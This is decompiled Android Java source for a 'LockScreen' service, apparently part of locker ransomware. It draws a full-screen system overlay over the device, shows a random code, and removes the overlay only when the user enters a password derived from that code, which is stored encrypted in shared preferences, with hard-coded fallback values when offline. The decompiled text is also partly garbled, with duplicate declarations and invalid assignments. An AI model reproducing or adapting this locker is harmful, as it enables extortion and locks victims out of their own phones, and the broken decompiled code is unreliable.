package
com.h;
import
adrt.ADRTLogCatReader;
import
android.app.Application;
import
android.app.Service;
import
android.content.Context;
import
android.content.Intent;
import
android.content.SharedPreferences;
import
android.content.SharedPreferences$Editor;
import
android.net.NetworkInfo;
import
android.os.IBinder;
import
android.view.LayoutInflater;
import
android.view.View;
import
android.view.View$OnClickListener;
import
android.view.WindowManager;
import
android.view.WindowManager$LayoutParams;
import
android.widget.Button;
import
android.widget.EditText;
import
android.widget.TextView;
public
class
LockScreen
extends
Service {
class
myThread
extends
Thread {
private
final
LockScreen
this
$
0
;
myThread(LockScreen arg1) {
super
();
LockScreen.
this
= arg1;
}
static
LockScreen access$
0
(myThread arg1) {
return
arg1.
this
$
0
;
}
public
void
run() {
}
}
class
ClickListener
implements
View$OnClickListener {
private
final
LockScreen
this
$
0
;
ClickListener(LockScreen arg1) {
super
();
LockScreen.
this
= arg1;
}
static
LockScreen access$
0
(ClickListener arg1) {
return
arg1.
this
$
0
;
}
@Override
public
void
onClick(View arg6) {
try
{
if
(!LockScreen.
this
.edittext.getText().toString().equals(LockScreen.
this
.du.decrypt(
LockScreen.
this
.sharedpreferences.getString(
"passw"
,
""
)))) {
return
;
}
LockScreen.
this
.mWindowManager.removeView(LockScreen.
this
.mFloatLayout);
LockScreen.
this
.stopSelf();
}
catch
(Exception exception0) {
}
}
}
Button button;
DU du;
EditText edittext;
SharedPreferences$Editor editor;
private
View mFloatLayout;
private
WindowManager mWindowManager;
long
randomNumber;
Long passw;
String password;
String ppss;
SharedPreferences sharedpreferences;
TextView textview;
private
WindowManager$LayoutParams wmParams;
public
LockScreen() {
super
();
}
static
WindowManager access$L1000001(LockScreen LockScreen_this) {
return
LockScreen_this.mWindowManager;
}
static
View access$L1000002(LockScreen LockScreen_this) {
return
LockScreen_this.mFloatLayout;
}
static
void
access$S1000001(LockScreen LockScreen_this, WindowManager arg7) {
LockScreen_this.mWindowManager = arg7;
}
static
void
access$S1000002(LockScreen LockScreen_this, View arg7) {
LockScreen_this.mFloatLayout = arg7;
}
private
void
c() {
LockScreen LockScreen_this =
this
;
LockScreen_this.wmParams =
new
WindowManager$LayoutParams();
Application application0 = LockScreen_this.getApplication();
LockScreen_this.getApplication();
LockScreen_this.mWindowManager = application0.getSystemService(Context.WINDOW_SERVICE);
LockScreen_this.wmParams.type =
2010
;
LockScreen_this.wmParams.format =
1
;
LockScreen_this.wmParams.flags =
1280
;
LockScreen_this.wmParams.gravity =
49
;
LockScreen_this.wmParams.x =
0
;
LockScreen_this.wmParams.y =
0
;
LockScreen_this.wmParams.width = -
1
;
LockScreen_this.wmParams.height = -
1
;
LockScreen_this.mFloatLayout = LayoutInflater.from(LockScreen_this.getApplication()).inflate(
2130903041
,
null
);
LockScreen_this.mWindowManager.addView(LockScreen_this.mFloatLayout, LockScreen_this.wmParams);
LockScreen_this.button = LockScreen_this.mFloatLayout.findViewById(
2131296258
);
LockScreen_this.edittext = LockScreen_this.mFloatLayout.findViewById(
2131296257
);
LockScreen_this.textview = LockScreen_this.mFloatLayout.findViewById(
2131296256
);
LockScreen LockScreen_this = LockScreen_this;
try
{
LockScreen_this.edittext.setHint(
"宝贝在这输入密码哦!"
);
LockScreen_this.textview.append(
"随机码:"
);
}
catch
(Exception exception0) {
}
LockScreen_this.button.setOnClickListener(
new
ClickListener(LockScreen_this));
LockScreen_this = LockScreen_this;
try
{
LockScreen_this.textview.append(
new
StringBuffer().append(
new
StringBuffer().append(
"\n"
)
.append(LockScreen_this.du.decrypt(
"e60b6ba97b41a1c7a31f1228d55280a8243703be7d4aa15c"
))
.toString()).append(LockScreen_this.sharedpreferences.getLong(
"m"
, ((
long
)
0
))).toString());
}
catch
(Exception exception0) {
}
}
public
boolean
is(Context arg9) {
boolean
bool;
Context context = arg9;
if
(context !=
null
) {
NetworkInfo networkInfo = context.getSystemService(
"connectivity"
).getActiveNetworkInfo();
if
(networkInfo !=
null
) {
bool = networkInfo.isAvailable();
}
else
{
goto
label_17;
}
}
else
{
label_17:
bool =
false
;
}
return
bool;
}
@Override
public
IBinder onBind(Intent arg5) {
return
null
;
}
@Override
public
void
onCreate() {
LockScreen LockScreen_this =
this
;
ADRTLogCatReader.onContext(LockScreen_this,
"com.aide.ui"
);
super
.onCreate();
LockScreen_this.randomNumber = ((
long
)(Math.random() * (((
double
)
100000000
))));
LockScreen_this.passw =
new
Long(LockScreen_this.randomNumber + (((
long
)
111
)));
LockScreen_this.du =
new
DU(
"flower"
);
LockScreen LockScreen_this = LockScreen_this;
try
{
LockScreen_this.du =
new
DU(LockScreen_this.du.decrypt(
"c29fe56fa59ab0db"
));
}
catch
(Exception exception0) {
}
LockScreen_this.sharedpreferences = LockScreen_this.getSharedPreferences(
"Flowers"
,
0
);
LockScreen_this.editor = LockScreen_this.sharedpreferences.edit();
if
(LockScreen_this.sharedpreferences.getLong(
"m"
, ((
long
)
0
)) == (((
long
)
0
))) {
LockScreen_this.editor.putLong(
"m"
, LockScreen_this.randomNumber);
LockScreen_this.editor.commit();
LockScreen_this = LockScreen_this;
try
{
LockScreen_this.editor.putString(
"passw"
, LockScreen_this.du.encrypt(
new
StringBuffer()
.append(
""
).append(LockScreen_this.passw).toString()));
LockScreen_this.editor.commit();
}
catch
(Exception exception0) {
}
if
(LockScreen_this.is(LockScreen_this.getApplicationContext())) {
LockScreen_this.ppss =
new
StringBuffer().append(LockScreen_this.sharedpreferences.getLong(
"m"
, ((
long
)
8
))).append(
""
).toString();
LockScreen_this = LockScreen_this;
LockScreen LockScreen_this = LockScreen_this;
try
{
LockScreen_this.password = LockScreen_this.du.decrypt(LockScreen_this.sharedpreferences
.getString(
"passw"
,
""
));
}
catch
(Exception exception0) {
}
new
myThread(LockScreen_this).start();
return
;
}
LockScreen_this = LockScreen_this;
try
{
LockScreen_this.editor.putLong(
"m"
, Long.parseLong(LockScreen_this.du.decrypt(
"5a15e58cc8db8d1c700ecb6bb7b627a9"
)));
LockScreen_this.editor.commit();
LockScreen_this.editor.putString(
"passw"
,
"c8c0ae88e6d1aeb8a2bcb7274e242414"
);
LockScreen_this.editor.commit();
}
catch
(Exception exception0) {
}
}
}
@Override
public
void
onStart(Intent intent,
int
arg9) {
super
.onStart(intent, arg9);
this
.c();
}
}